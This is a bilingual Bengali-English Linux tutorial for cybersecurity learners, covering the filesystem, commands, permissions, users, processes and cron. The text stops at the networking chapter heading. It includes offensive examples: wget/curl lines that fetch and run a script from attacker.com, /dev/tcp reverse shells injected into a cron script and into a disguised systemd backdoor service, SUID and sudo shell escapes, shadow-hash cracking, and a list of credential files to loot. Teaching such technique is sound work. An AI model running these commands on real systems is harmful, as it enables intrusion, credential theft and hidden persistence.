🐧

Linux for Cyber Security

সাইবার সিকিউরিটির জন্য Linux — সম্পূর্ণ বাংলা গাইডLinux for Cyber Security — Complete Guide

Linux ব্যাসিক থেকে শুরু করে Privilege Escalation, Forensics, Hardening, Kali Linux Tools — সাইবার সিকিউরিটিতে যা যা দরকার সব কিছু এক জায়গায়।From Linux basics to Privilege Escalation, Forensics, Hardening, and Kali Linux Tools — everything you need for cybersecurity in one place.

root@kali:~# whoami
future_cybersecurity_expert
root@kali:~# cat mission.txt
Linux শেখো → হ্যাক করতে শেখো → রক্ষা করতে শেখোLearn Linux → Learn to Hack → Learn to Defend
📁 ফাইল সিস্টেম 👤 User Management 🔐 Permissions 🌐 Networking ⚙️ Process Management 🛡️ Hardening ⬆️ Privilege Escalation 🔍 Forensics 📜 Shell Scripting 🗡️ Kali Linux Tools
📋 বিষয়সূচি — সম্পূর্ণ তালিকা📋 Table of Contents — Full List
০১ Linux পরিচিতি ও ইতিহাস
Linux কী, Kernel, Distribution, কেন Cyber Security-তে Linux?Why Linux for Cyber Security?
Kali vs Parrot vs Ubuntu vs Arch
০২ Linux ফাইল সিস্টেম ও ডিরেক্টরি
FHS — Filesystem Hierarchy Standard, প্রতিটি ডিরেক্টরির কাজ
সিকিউরিটি-গুরুত্বপূর্ণ ফাইল ও ডিরেক্টরিSecurity-Critical Files & Directories
০৩ Linux বেসিক কমান্ড (সম্পূর্ণ)
Navigation, File Operations, Text Processing
grep, awk, sed, find, xargs — Power Tools
Pipe, Redirection, Wildcards
০৪ ফাইল পার্মিশন ও Access Control
rwx, Octal Notation, chmod, chown, chgrp
SUID, SGID, Sticky Bit — Privilege Escalation ভেক্টর
ACL, umask
০৫ User ও Group ব্যবস্থাপনা
/etc/passwd, /etc/shadow, /etc/group
useradd, usermod, passwd, sudo
sudoers ফাইল ও Privilege Escalation
০৬ প্রসেস ব্যবস্থাপনা
ps, top, htop, kill, jobs, bg, fg
Cron Jobs — Persistence ও Automation
systemd ও Service Management
০৭ নেটওয়ার্কিং কমান্ড
ip, ifconfig, netstat, ss, route
SSH বিস্তারিত, Port Forwarding, Tunneling
Firewall — iptablesFirewall — iptables ও ufw
০৮ Linux সিকিউরিটি হার্ডেনিং
SSH HardeningSSH Hardening, Firewall Setup
Fail2Ban, PAM, AppArmor/SELinux
Audit ও MonitoringAudit & Monitoring
০৯ Privilege Escalation (Linux)
SUID/SGID ExploitSUID/SGID Exploit, Sudo Misconfig
Cron Job Hijack, PATH InjectionPATH Injection, Kernel ExploitKernel Exploit
LinPEAS, GTFOBins — Enumeration টুল
১০ Log ব্যবস্থাপনা ও Forensics
গুরুত্বপূর্ণ Log ফাইল, journalctl
Incident Response, আক্রান্ত সিস্টেম বিশ্লেষণAnalyzing a Compromised System
File Carving, Metadata Analysis
১১ Shell Scripting for Security
Bash Scripting মূল ধারণা
Security Automation Script
Reverse Shell ScriptReverse Shell Script
১২ Kali Linux — সম্পূর্ণ টুল গাইড
Reconnaissance, Scanning, Exploitation
Post-ExploitationPost-Exploitation, Password AttacksPassword Attacks, Wireless
Metasploit Framework বিস্তারিত
CHAPTER 01
🐧 Linux পরিচিতি ও ইতিহাস🐧 Introduction to Linux & History
Linux কী, কেন শিখবে, কোন Distribution ব্যবহার করবেWhat is Linux, why learn it, which distribution to use

Linux কী?What is Linux?

Linux হলো একটি ওপেন সোর্স অপারেটিং সিস্টেম Kernel যা ১৯৯১ সালে Linus Torvalds তৈরি করেছিলেন। এটি Unix-এর আদলে তৈরি কিন্তু সম্পূর্ণ আলাদা কোড। Linux Kernel + GNU Tools + অন্যান্য সফটওয়্যার মিলে একটি পূর্ণাঙ্গ OS তৈরি হয় যাকে Linux Distribution বলে।

Linux Architecture:

┌─────────────────────────────────────────────┐
│              User Space                      │
│  ┌─────────┐ ┌─────────┐ ┌───────────────┐  │
│  │  bash   │ │ Firefox │ │  Wireshark    │  │
│  └────┬────┘ └────┬────┘ └───────┬───────┘  │
│       │           │               │           │
│  ┌────▼───────────▼───────────────▼────────┐ │
│  │         GNU C Library (glibc)            │ │
│  └────────────────┬────────────────────────┘ │
└───────────────────│─────────────────────────┘
                    │ System Calls
┌───────────────────▼─────────────────────────┐
│               Kernel Space                   │
│  ┌──────────┐ ┌──────────┐ ┌─────────────┐  │
│  │ Process  │ │ Memory   │ │   Network   │  │
│  │ Manager  │ │ Manager  │ │   Stack     │  │
│  └──────────┘ └──────────┘ └─────────────┘  │
│  ┌──────────────────────────────────────────┐│
│  │         Device Drivers                   ││
│  └──────────────────────────────────────────┘│
└─────────────────────────────────────────────┘
              Hardware (CPU, RAM, Disk)

Kernel কী?What is a Kernel?

Kernel হলো OS-এর কেন্দ্রীয় অংশ। এটি Hardware ও Software-এর মধ্যে মধ্যস্থতা করে। সিকিউরিটির দৃষ্টিকোণ থেকে — Kernel Exploit হলো সবচেয়ে শক্তিশালী অ্যাটাক কারণ এটি পুরো সিস্টেমের নিয়ন্ত্রণ দেয়।

কেন Cyber Security-তে Linux?Why Linux for Cyber Security?

✅ Linux ব্যবহারের কারণ

  • বেশিরভাগ সার্ভার Linux চালায় (৯০%+)
  • Kali, Parrot — সব hacking OS Linux-based
  • Command-line শক্তিশালী automation
  • ওপেন সোর্স — সোর্স কোড দেখা যায়
  • Root access সহজ
  • সব সিকিউরিটি টুল Linux-এ চলে
  • Memory ও Process সহজে বিশ্লেষণ

⚠️ Linux ছাড়া Hacking কঠিন কেন?

  • Metasploit, Nmap, Wireshark সব Linux-optimized
  • Windows-এ অনেক টুল কাজ করে না
  • Shell scripting automation
  • CTF সব Linux-এ
  • Bug Bounty Lab environment
  • Docker, VirtualBox management
  • Penetration Testing certifications (OSCP) সব Linux

Linux Distributions তুলনাLinux Distributions Comparison

DistributionBaseউদ্দেশ্যসিকিউরিটি ব্যবহারকঠিনতা
Kali LinuxDebianPenetration Testing⭐⭐⭐⭐⭐ সেরামাঝারি
Parrot OSDebianSecurity + Privacy⭐⭐⭐⭐ ভালোসহজ
UbuntuDebianGeneral Purpose⭐⭐⭐ ঠিক আছেসহজ
Arch LinuxIndependentCustomizable⭐⭐⭐ কাস্টমকঠিন
BlackArchArchPentesting⭐⭐⭐⭐⭐ ২৮০০+ টুলকঠিন
REMnuxUbuntuMalware Analysis⭐⭐⭐⭐⭐ Forensicsমাঝারি
TAILSDebianAnonymity⭐⭐⭐⭐ Privacyসহজ
FedoraRPMDevelopment⭐⭐⭐ SELinux built-inমাঝারি
💡 তোমার জন্য সাজেশন💡 Suggestion for You
তুমি Kali Linux ব্যবহার করো — এটাই সঠিক পছন্দ। Kali-তে ৬০০+ সিকিউরিটি টুল pre-installed। তবে Kali-কে daily driver হিসেবে ব্যবহার না করে VirtualBox-এ রাখাই ভালো।

Linux vs Windows — সিকিউরিটি দৃষ্টিকোণLinux vs Windows — Security Perspective

বিষয়LinuxWindows
ডিফল্ট UserNon-root (নিরাপদ)Admin (ঝুঁকিপূর্ণ)
ভাইরাস সংখ্যাঅনেক কমলক্ষাধিক
Source CodeOpen (দেখা যায়)Closed (লুকানো)
Patchingদ্রুতধীর
Log Accessসহজ (/var/log)Event Viewer (জটিল)
Process Controlশক্তিশালীসীমিত
Attack টার্গেটসার্ভার অ্যাটাক বেশিDesktop অ্যাটাক বেশি
CHAPTER 02
📁 Linux ফাইল সিস্টেম ও ডিরেক্টরি📁 Linux File System & Directories
FHS — সব ডিরেক্টরির কাজ এবং সিকিউরিটি-গুরুত্বপূর্ণ ফাইলFHS — Purpose of all directories and security-critical files

Filesystem Hierarchy Standard (FHS)

Linux-এ সব কিছু একটি root (/) ডিরেক্টরি থেকে শুরু হয়। Windows-এর মতো C:\ D:\ নেই — সব কিছু একটি tree structure-এ।

/ (Root)
├── bin/      → Essential commands (ls, cp, mv, cat)
├── boot/     → Boot files, GRUB, Linux Kernel
├── dev/      → Device files (sda, tty, null, random)
├── etc/      → ⭐ System configuration files [সবচেয়ে গুরুত্বপূর্ণ!]
├── home/     → User home directories (/home/saimum)
├── lib/      → Shared libraries
├── media/    → Removable media mount points
├── mnt/      → Temporary mount points
├── opt/      → Optional/third-party software
├── proc/     → ⭐ Virtual filesystem — running processes
├── root/     → ⭐ Root user's home directory
├── run/      → Runtime data (PIDs, sockets)
├── sbin/     → System binaries (admin commands)
├── srv/      → Service data (web server files)
├── sys/      → Virtual filesystem — kernel/hardware
├── tmp/      → ⚠️ Temporary files (world-writable!)
├── usr/      → User programs and data
│   ├── bin/   → User commands
│   ├── lib/   → Libraries
│   ├── local/ → Locally installed software
│   └── share/ → Shared data
└── var/      → ⭐ Variable data (logs, mail, databases)
    ├── log/   → System logs
    ├── www/   → Web server files
    └── mail/  → Mail spool

সিকিউরিটি-গুরুত্বপূর্ণ ফাইল ও ডিরেক্টরি

/etc — কনফিগারেশন ফাইল/etc — Configuration Files

ফাইলকাজসিকিউরিটি গুরুত্ব
/etc/passwdUser অ্যাকাউন্ট তথ্য⭐⭐⭐⭐⭐ সব user দেখা যায়
/etc/shadowHashed পাসওয়ার্ড⭐⭐⭐⭐⭐ Root only! Crack করা যায়
/etc/groupGroup তথ্য⭐⭐⭐⭐ Group membership
/etc/sudoersSudo অনুমতি⭐⭐⭐⭐⭐ Privilege Escalation!
/etc/ssh/sshd_configSSH সার্ভার কনফিগ⭐⭐⭐⭐⭐ Remote access নিয়ন্ত্রণ
/etc/hostsLocal DNS⭐⭐⭐ DNS Spoofing সম্ভব
/etc/crontabScheduled tasks⭐⭐⭐⭐⭐ Persistence!
/etc/fstabFilesystem mount⭐⭐⭐ Mount point info
/etc/network/interfacesনেটওয়ার্ক কনফিগ⭐⭐⭐ Network setup
/etc/iptables/rules.v4Firewall rules⭐⭐⭐⭐⭐ Security rules
/etc/environmentSystem environment⭐⭐⭐ PATH injection
/etc/profileLogin shell script⭐⭐⭐⭐ Persistence

/proc — চলমান সিস্টেমের তথ্য/proc — Running System Information

# /proc ভার্চুয়াল ফাইলসিস্টেম — RAM-এ থাকে, disk-এ নয় cat /proc/version # Kernel version cat /proc/cpuinfo # CPU তথ্য cat /proc/meminfo # মেমোরি তথ্য cat /proc/net/tcp # নেটওয়ার্ক সংযোগ cat /proc/1/maps # PID 1-এর মেমোরি ম্যাপ ls /proc/ # প্রতিটি নম্বর = একটি চলমান process cat /proc/self/environ # বর্তমান process-এর environment

/var/log — Log ফাইল/var/log — Log Files

Log ফাইলকী থাকেসিকিউরিটি ব্যবহার
/var/log/auth.logAuthentication ইভেন্টLogin attempt, sudo use ট্র্যাক
/var/log/syslogSystem messagesSystem activity মনিটর
/var/log/kern.logKernel messagesKernel exploit চেষ্টা
/var/log/apache2/access.logWeb requestsWeb attack detection
/var/log/apache2/error.logWeb errorsExploitation চেষ্টা
/var/log/fail2ban.logBlocked IPsBrute force detection
/var/log/wtmpLogin historylast কমান্ড দিয়ে পড়া
/var/log/btmpFailed loginslastb কমান্ড দিয়ে পড়া

Home Directory — গোপন ফাইলHome Directory — Hidden Files

# হ্যাকার যখন access পায়, প্রথমে এগুলো খোঁজে: ~/.ssh/id_rsa # ⭐⭐⭐⭐⭐ SSH Private Key! ~/.ssh/authorized_keys # কোন key দিয়ে login করা যাবে ~/.ssh/known_hosts # আগে connect করা host list ~/.bash_history # ⭐⭐⭐⭐ আগের সব command! ~/.bashrc # Shell startup script ~/.profile # Login shell config ~/.netrc # FTP/HTTP credentials! ~/.aws/credentials # ⭐⭐⭐⭐⭐ AWS Secret Keys! ~/.gitconfig # Git configuration ~/.mysql_history # MySQL command history ~/.viminfo # Vim history
⚠️ Pentest টিপ: প্রথমে এগুলো চেক করো
যখন কোনো সিস্টেমে access পাবে, প্রথমেই ~/.bash_history, ~/.ssh/ এবং /etc/shadow চেক করো। প্রায়ই এখানে পাসওয়ার্ড বা SSH key পাওয়া যায়।

বিশেষ ফাইল — /devSpecial Files — /dev

/dev/null # ব্ল্যাকহোল — যা পাঠাবে মুছে যাবে /dev/zero # অসীম শূন্য byte stream /dev/random # র‍্যান্ডম data (Cryptography) /dev/urandom # দ্রুত র‍্যান্ডম data /dev/sda # প্রথম হার্ড ড্রাইভ /dev/tty # বর্তমান terminal /dev/pts/ # Pseudo-terminal (SSH session) # উদাহরণ ব্যবহার: cat /dev/null # কিছুই দেখাবে না dd if=/dev/urandom of=key.bin bs=32 count=1 # Random key তৈরি ls -la /dev/pts/ # কতটি SSH session চলছে

Linux-এ সব কিছুই ফাইলEverything is a File in Linux

Linux-এর মূল দর্শন — "Everything is a file"। ডিভাইস, প্রসেস, নেটওয়ার্ক সংযোগ — সব কিছু ফাইল হিসেবে উপস্থাপন করা হয়।

# নেটওয়ার্ক socket → ফাইল ls -la /proc/net/tcp # Process → ফাইল ls -la /proc/1234/ # Hard drive → ফাইল file /dev/sda # Keyboard → ফাইল cat /dev/input/event0
CHAPTER 03
⌨️ Linux বেসিক কমান্ড — সম্পূর্ণ রেফারেন্স⌨️ Linux Basic Commands — Complete Reference
Navigation থেকে শুরু করে Power Tools পর্যন্ত সব কমান্ডAll commands from Navigation to Power Tools

Navigation কমান্ডNavigation Commands

# বর্তমান অবস্থান pwd # Print Working Directory # ডিরেক্টরি পরিবর্তন cd /var/log # নির্দিষ্ট পথে যাও cd ~ # Home directory-তে যাও cd .. # এক level উপরে cd ../.. # দুই level উপরে cd - # আগের directory-তে ফিরে যাও # ফাইল/ডিরেক্টরি দেখা ls # বেসিক লিস্ট ls -la # ⭐ সব details সহ (hidden ফাইল সহ) ls -lah # Human readable সাইজ ls -lt # সময় অনুযায়ী sort ls -lR /etc # Recursive লিস্ট tree /etc -L 2 # Tree structure (2 level)

ফাইল অপারেশনFile Operations

# ফাইল তৈরি touch file.txt # খালি ফাইল তৈরি touch -t 202301011200 f # নির্দিষ্ট timestamp দিয়ে mkdir mydir # ডিরেক্টরি তৈরি mkdir -p a/b/c # nested ডিরেক্টরি # ফাইল কপি/মুভ cp file.txt backup/ # কপি cp -r dir/ backup/ # ডিরেক্টরি কপি mv file.txt /tmp/ # মুভ বা রিনেম # ফাইল মুছা rm file.txt # ফাইল মুছা rm -rf directory/ # ⚠️ Force delete (সাবধান!) shred -vzu file.txt # নিরাপদে মুছা (Forensics evidence নষ্ট) # ফাইল পড়া cat file.txt # পুরো ফাইল দেখা less file.txt # Scrollable view more file.txt # Page by page head -20 file.txt # প্রথম ২০ লাইন tail -20 file.txt # শেষ ২০ লাইন tail -f /var/log/syslog # ⭐ Real-time log দেখা # ফাইল তথ্য file unknown_binary # ফাইলের ধরন জানা stat file.txt # বিস্তারিত metadata wc -l file.txt # লাইন সংখ্যা wc -c file.txt # byte সংখ্যা

Text Processing — সবচেয়ে গুরুত্বপূর্ণText Processing — Most Important

grep — Pattern খোঁজাgrep — Pattern Searching

# মূল syntax: grep [option] pattern file grep "password" config.php # "password" শব্দ খোঁজা grep -i "password" config.php # Case insensitive grep -r "password" /var/www/ # ⭐ Recursive search grep -n "error" log.txt # Line number সহ grep -v "comment" file.txt # বাদ দিয়ে দেখাও grep -E "admin|root|password" f # Extended regex grep -l "password" *.php # শুধু ফাইলের নাম grep -c "error" log.txt # কতবার আছে গুনে দাও grep -A 3 "error" log.txt # মিলের পরে ৩ লাইন grep -B 3 "error" log.txt # মিলের আগে ৩ লাইন # ⭐ Pentest-এ grep ব্যবহার grep -r "password\|passwd\|secret\|key\|token" /var/www/ 2>/dev/null grep -r "DB_PASSWORD\|DATABASE_PASSWORD" /var/www/ 2>/dev/null grep -rn "eval\|base64_decode\|system\|exec" /var/www/ # Webshell খোঁজা

find — ফাইল খোঁজাfind — Finding Files

# মূল syntax: find [path] [options] [expression] find / -name "*.php" # সব PHP ফাইল find / -name "passwd" 2>/dev/null # passwd নামের ফাইল find / -type f -perm -4000 2>/dev/null # ⭐⭐⭐ SUID ফাইল! find / -type f -perm -2000 2>/dev/null # ⭐ SGID ফাইল find / -writable -type d 2>/dev/null # Write করা যায় এমন dir find / -mtime -1 2>/dev/null # গত ২৪ ঘণ্টায় পরিবর্তিত find / -size +100M 2>/dev/null # ১০০MB-এর বড় ফাইল find /tmp -type f -name "*.sh" # /tmp-এ shell script find / -user root -writable 2>/dev/null # root-owned কিন্তু writable find / -nouser 2>/dev/null # কোনো owner নেই find . -name "*.conf" -exec cat {} \; # খুঁজে পেলে cat করো

awk — ডেটা প্রসেসিংawk — Data Processing

# /etc/passwd থেকে username বের করা awk -F: '{print $1}' /etc/passwd # প্রথম ও তৃতীয় কলাম awk -F: '{print $1, $3}' /etc/passwd # শুধু UID 0 (root) user awk -F: '$3 == 0 {print $1}' /etc/passwd # Log থেকে IP address বের করা awk '{print $1}' /var/log/apache2/access.log | sort | uniq -c | sort -rn # নির্দিষ্ট pattern-এ লাইন awk '/error/ {print NR": "$0}' log.txt

sed — Stream Editorsed — Stream Editor

# Text প্রতিস্থাপন sed 's/old/new/g' file.txt # সব জায়গা replace sed -i 's/password/REDACTED/g' f # ফাইলে সরাসরি পরিবর্তন # নির্দিষ্ট লাইন মুছা sed '/^#/d' config.txt # comment লাইন মুছা sed -n '5,10p' file.txt # ৫ থেকে ১০ লাইন দেখাও

Pipe ও RedirectionPipe & Redirection

# Redirection echo "Hello" > file.txt # ফাইলে লেখা (overwrite) echo "World" >> file.txt # ফাইলে যোগ করা (append) cat file.txt 2>/dev/null # Error বাদ দেওয়া cat file.txt 2>&1 # Error ও Output একসাথে cat file.txt > out.txt 2>&1 # সব ফাইলে সেভ # Pipe — এক কমান্ডের output অন্যটির input cat /etc/passwd | grep bash # bash shell user ps aux | grep apache # apache process netstat -tulnp | grep LISTEN # listening পোর্ট cat log.txt | sort | uniq # unique লাইন cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -10 # উপরে: Top 10 IP address by request count # xargs — argument হিসেবে পাঠানো find / -name "*.conf" | xargs grep "password" 2>/dev/null cat hosts.txt | xargs -I{} nmap -sV {} # প্রতিটি host scan

System Information কমান্ডSystem Information Commands

# Kernel ও OS তথ্য uname -a # ⭐ Kernel version (Exploit খোঁজার জন্য) uname -r # শুধু Kernel version cat /etc/os-release # OS তথ্য cat /etc/issue # OS banner lsb_release -a # Distro তথ্য # Hardware তথ্য lscpu # CPU তথ্য free -h # RAM ব্যবহার df -h # Disk ব্যবহার lsblk # Block device lspci # PCI device lsusb # USB device # Environment env # সব environment variable echo $PATH # PATH variable echo $HOME # Home directory echo $SHELL # বর্তমান shell printenv # env-এর মতো # User তথ্য whoami # বর্তমান user id # UID, GID, Groups who # login করা সব user w # বিস্তারিত user activity last # Login history lastlog # সব user-এর শেষ login history # কমান্ড history

Archive ও CompressionArchive & Compression

# tar — সবচেয়ে বেশি ব্যবহৃত tar -czf archive.tar.gz /var/www/ # Compress করে archive tar -xzf archive.tar.gz # Extract করা tar -tzf archive.tar.gz # Contents দেখা # zip/unzip zip -r backup.zip /var/www/ unzip backup.zip -d /tmp/ # ⭐ Pentest: CTF-এ প্রায়ই archive-এ flag লুকানো থাকে binwalk firmware.bin # Binary-এর ভেতরে hidden file file suspicious.jpg # সত্যিই image কিনা? strings binary_file | grep flag # Strings বের করা

wget ও curl — Data Downloadwget & curl — Data Download

# wget wget https://example.com/file.zip # ফাইল ডাউনলোড wget -r -np https://example.com/ # পুরো সাইট mirror wget -q -O - https://api.com/data # Output to stdout # curl — আরও শক্তিশালী curl https://example.com # GET request curl -I https://example.com # শুধু Header curl -X POST -d "user=admin&pass=1234" https://example.com/login curl -H "Cookie: session=abc" https://example.com/admin curl -u admin:password https://api.com # Basic auth curl --proxy http://127.0.0.1:8080 https://target.com # Burp Proxy # ⭐ Payload download (Post-exploitation) wget http://attacker.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh curl http://attacker.com/shell.sh | bash
CHAPTER 04
🔒 ফাইল পার্মিশন ও Access Control🔒 File Permissions & Access Control
rwx, chmod, SUID/SGID — Privilege Escalation-এর মূলrwx, chmod, SUID/SGID — Core of Privilege Escalation

পার্মিশন কীভাবে কাজ করে?How do Permissions Work?

ls -la /etc/passwd এর output:

-rw-r--r-- 1 root root 2847 Jan 10 12:00 /etc/passwd
│││││││││└── File name
│││││││││
│││││││└──── Group permission: r-- (read only)
│││││└────── Owner permission: rw- (read+write)
│││└──────── File type: - (regular file)
│││
│││  মোট ৯ বিট = ৩ সেট × ৩ বিট (rwx)
│││
│├┴───────── Owner (user)
│└─────────── Group
└──────────── Others (everyone else)

পার্মিশনের মান

Symbolবাইনারিমানঅর্থ
r1004Read — পড়তে পারবে
w0102Write — লিখতে পারবে
x0011Execute — চালাতে পারবে
-0000কোনো permission নেই

Octal (সংখ্যা) দিয়ে পার্মিশন

# chmod দিয়ে পার্মিশন পরিবর্তন chmod 755 script.sh # rwxr-xr-x → সাধারণ executable chmod 644 file.txt # rw-r--r-- → সাধারণ ফাইল chmod 600 private.key # rw------- → শুধু owner পড়তে পারবে chmod 777 file.txt # ⚠️ rwxrwxrwx → সবাই সব পারবে (বিপজ্জনক!) chmod 000 file.txt # ---------- → কেউ কিছু করতে পারবে না # Symbolic দিয়ে chmod u+x script.sh # Owner-এ execute যোগ chmod g-w file.txt # Group থেকে write সরানো chmod o=r file.txt # Others শুধু read chmod a+x script.sh # সবাইকে execute chmod -R 755 /var/www/ # Recursive # chown — Owner পরিবর্তন chown root:root file.txt # owner:group পরিবর্তন chown -R www-data:www-data /var/www/

SUID, SGID, Sticky Bit — সিকিউরিটি CriticalSUID, SGID, Sticky Bit — Security Critical

SUID (Set User ID) — সবচেয়ে বিপজ্জনক

SUID বিট থাকলে ফাইলটি owner-এর privilege দিয়ে চলে, চালানো user-এর নয়। যেমন /usr/bin/passwd — সাধারণ user root হিসেবে /etc/shadow পরিবর্তন করতে পারে।

# SUID ফাইল চেনা — ls-এ 's' দেখা যায় ls -la /usr/bin/passwd -rwsr-xr-x 1 root root 63736 /usr/bin/passwd # ↑ এই 's' মানে SUID আছে # সব SUID ফাইল খোঁজা find / -perm -4000 -type f 2>/dev/null find / -perm -u=s -type f 2>/dev/null # ⭐⭐⭐ Privilege Escalation: SUID দিয়ে root shell # উদাহরণ: nmap-এ SUID থাকলে nmap --interactive !sh # root shell পাওয়া যাবে! # উদাহরণ: find-এ SUID থাকলে find . -exec /bin/sh \; -quit # উদাহরণ: vim-এ SUID থাকলে vim -c ':!/bin/sh'
⚠️ SUID — Privilege Escalation-এর সোনার খনি
যদি কোনো SUID ফাইল custom বা অপ্রচলিত হয়, সেটি দিয়ে root access পাওয়া প্রায়ই সম্ভব। GTFOBins (gtfobins.github.io) ওয়েবসাইটে সব SUID exploit পাওয়া যায়।

Sticky Bit

Sticky Bit থাকলে /tmp ডিরেক্টরিতে শুধু ফাইলের owner মুছতে পারবে।

ls -la /tmp drwxrwxrwt 16 root root 4096 /tmp # ↑ 't' = sticky bit chmod +t /shared_dir # Sticky bit যোগ

umask — Default পার্মিশনumask — Default Permissions

umask # বর্তমান umask দেখা (সাধারণত 022) # umask 022 মানে: # ফাইল তৈরি হবে: 666 - 022 = 644 (rw-r--r--) # ডিরেক্টরি তৈরি হবে: 777 - 022 = 755 (rwxr-xr-x) umask 077 # শুধু owner পড়তে পারবে (সর্বোচ্চ নিরাপদ)
CHAPTER 05
👤 User ও Group ব্যবস্থাপনা👤 User & Group Management
/etc/passwd, /etc/shadow, sudo — Pentest-এর মূল টার্গেট/etc/passwd, /etc/shadow, sudo — Core Pentest Targets

/etc/passwd — User ডেটাবেস/etc/passwd — User Database

cat /etc/passwd # Format: username:x:UID:GID:comment:home:shell root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33::/var/www:/usr/sbin/nologin saimum:x:1000:1000::/home/saimum:/bin/bash # বিশ্লেষণ: # root:x:0:0:... # ↑ ↑ ↑ ↑ # │ │ │ └── GID (Group ID) # │ │ └──── UID (User ID) → 0 মানে root! # │ └────── 'x' মানে password /etc/shadow-এ # └─────────── username # ⭐ Pentest: shell থাকা user দেখা grep -v 'nologin\|false' /etc/passwd | awk -F: '{print $1}' # UID 0 user (root-level) awk -F: '$3 == 0 {print $1}' /etc/passwd

/etc/shadow — পাসওয়ার্ড ডেটাবেস/etc/shadow — Password Database

# শুধু root পড়তে পারে! cat /etc/shadow # Format: username:hash:lastchange:min:max:warn:inactive:expire root:$6$rounds=5000$xyz$HASH...:19000:0:99999:7::: # Hash type চেনা: # $1$ = MD5 (দুর্বল) # $2a$ = Bcrypt # $5$ = SHA-256 # $6$ = SHA-512 (সাধারণ Linux) # '!' বা '*' = account locked # Hash crack করা unshadow /etc/passwd /etc/shadow > combined.txt john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt hashcat -m 1800 shadow_hash.txt rockyou.txt # SHA-512

User ব্যবস্থাপনা কমান্ডUser Management Commands

# User তৈরি useradd -m -s /bin/bash saimum # Home dir সহ user তৈরি useradd -m -G sudo saimum # sudo group-এ যোগ passwd saimum # পাসওয়ার্ড সেট # User পরিবর্তন usermod -aG sudo saimum # sudo group-এ যোগ usermod -s /bin/bash saimum # shell পরিবর্তন usermod -L saimum # account lock usermod -U saimum # unlock # User মুছা userdel saimum # শুধু user userdel -r saimum # home dir সহ # Group groupadd hackers # group তৈরি groupdel hackers # group মুছা groups saimum # user-এর group

sudo — সবচেয়ে গুরুত্বপূর্ণsudo — The Most Important Command

# sudo কমান্ড sudo command # root হিসেবে চালাও sudo -l # ⭐ কী কী sudo করতে পারি? sudo -u www-data command # অন্য user হিসেবে sudo su # root shell sudo -s # root shell (environment রেখে) # /etc/sudoers ফাইল visudo # নিরাপদে sudoers edit # Format: who where=(as_whom) command root ALL=(ALL:ALL) ALL saimum ALL=(ALL) /usr/bin/vim # শুধু vim saimum ALL=(ALL) NOPASSWD: ALL # ⭐ পাসওয়ার্ড ছাড়া সব! %sudo ALL=(ALL:ALL) ALL # sudo group # ⭐ Privilege Escalation via sudo sudo -l User saimum may run: (ALL) /usr/bin/vim # vim দিয়ে root shell: sudo vim -c ':!/bin/bash' # NOPASSWD sudo — instant root sudo /bin/bash
⚠️ Privilege Escalation: sudo -l সবার আগে চালাও
যখন কোনো সিস্টেমে normal user হিসেবে access পাবে, সাথে সাথে sudo -l চালাও। অনেক সময় NOPASSWD পাবে বা কোনো binary-তে sudo access পাবে যা দিয়ে root shell পাওয়া যায়।

su — User Switchsu — User Switch

su root # root-এ switch (পাসওয়ার্ড লাগবে) su - saimum # সম্পূর্ণ login (environment সহ) su -c "command" saimum # অন্য user-এ কমান্ড চালানো
CHAPTER 06
⚙️ প্রসেস ব্যবস্থাপনা ও Cron Jobs⚙️ Process Management & Cron Jobs
Persistence, Backdoor ও Automation-এর মূলCore of Persistence, Backdoor & Automation

প্রসেস কী?What is a Process?

প্রোগ্রাম চালু হলে একটি Process তৈরি হয়। প্রতিটি Process-এর একটি PID (Process ID) আছে।

# প্রসেস দেখা ps aux # সব প্রসেস (a=all, u=user, x=no-tty) ps aux | grep apache # নির্দিষ্ট প্রসেস ps -ef # Full format ps -eo pid,ppid,user,cmd # কাস্টম কলাম top # Real-time process monitor htop # উন্নত process monitor pstree # Process tree দেখা # Process বন্ধ করা kill 1234 # PID দিয়ে (SIGTERM) kill -9 1234 # Force kill (SIGKILL) killall apache2 # নাম দিয়ে সব kill pkill -u saimum # একজন user-এর সব process # Background/Foreground command & # Background-এ চালাও jobs # Background job দেখা fg %1 # Foreground-এ আনো bg %1 # Background-এ পাঠাও nohup command & # Terminal বন্ধ হলেও চলবে screen -S mysession # Detachable session tmux new -s hack # Terminal multiplexer

Cron Jobs — Scheduled TasksCron Jobs — Scheduled Tasks

Cron হলো Linux-এর Task Scheduler। সিকিউরিটিতে দুটো দিক — Automation এবং Persistence (হ্যাকার backdoor বসায়)।

# Cron Syntax: # ┌────── মিনিট (0-59) # │ ┌──── ঘণ্টা (0-23) # │ │ ┌── দিন (1-31) # │ │ │ ┌─ মাস (1-12) # │ │ │ │ ┌ বার (0-7, 0=Sun) # │ │ │ │ │ # * * * * * command # উদাহরণ 0 * * * * /script.sh # প্রতি ঘণ্টায় 0 2 * * * /backup.sh # প্রতিদিন রাত ২টায় */5 * * * * /check.sh # প্রতি ৫ মিনিটে 0 0 * * 0 /weekly.sh # প্রতি রবিবার মধ্যরাতে @reboot /startup.sh # বুটের সময় # Cron পরিচালনা crontab -l # বর্তমান user-এর cron crontab -e # Edit করা crontab -l -u root # root-এর cron # সব cron ফাইল দেখা cat /etc/crontab ls /etc/cron.d/ ls /etc/cron.daily/ ls /etc/cron.hourly/ # ⭐ Pentest: Cron Job Hijack # যদি root-এর cron script world-writable হয়: ls -la /usr/local/bin/backup.sh # -rwxrwxrwx root root backup.sh ← সবাই লিখতে পারে! echo "bash -i >& /dev/tcp/attacker.com/4444 0>&1" >> /usr/local/bin/backup.sh # পরের বার cron চললে reverse shell পাবে!

systemd — Service Managementsystemd — Service Management

# Service চালু/বন্ধ systemctl start apache2 # চালু systemctl stop apache2 # বন্ধ systemctl restart apache2 # পুনরায় চালু systemctl enable apache2 # বুটে auto-start systemctl disable apache2 # auto-start বন্ধ systemctl status apache2 # স্ট্যাটাস systemctl list-units --type=service # সব service # Log দেখা journalctl -u apache2 # service log journalctl -f # Real-time log journalctl --since "1 hour ago" # গত ১ ঘণ্টার log # ⭐ Persistence: Custom service cat > /etc/systemd/system/backdoor.service << EOF [Unit] Description=System Update Service [Service] ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1' Restart=always [Install] WantedBy=multi-user.target EOF systemctl enable backdoor
CHAPTER 07
🌐 Linux নেটওয়ার্কিং🌐 Linux Networking কমান্ড
SSH Tunneling, Port Forwarding, iptables — সব কিছুSSH Tunneling, Port Forwarding, iptables — Everything

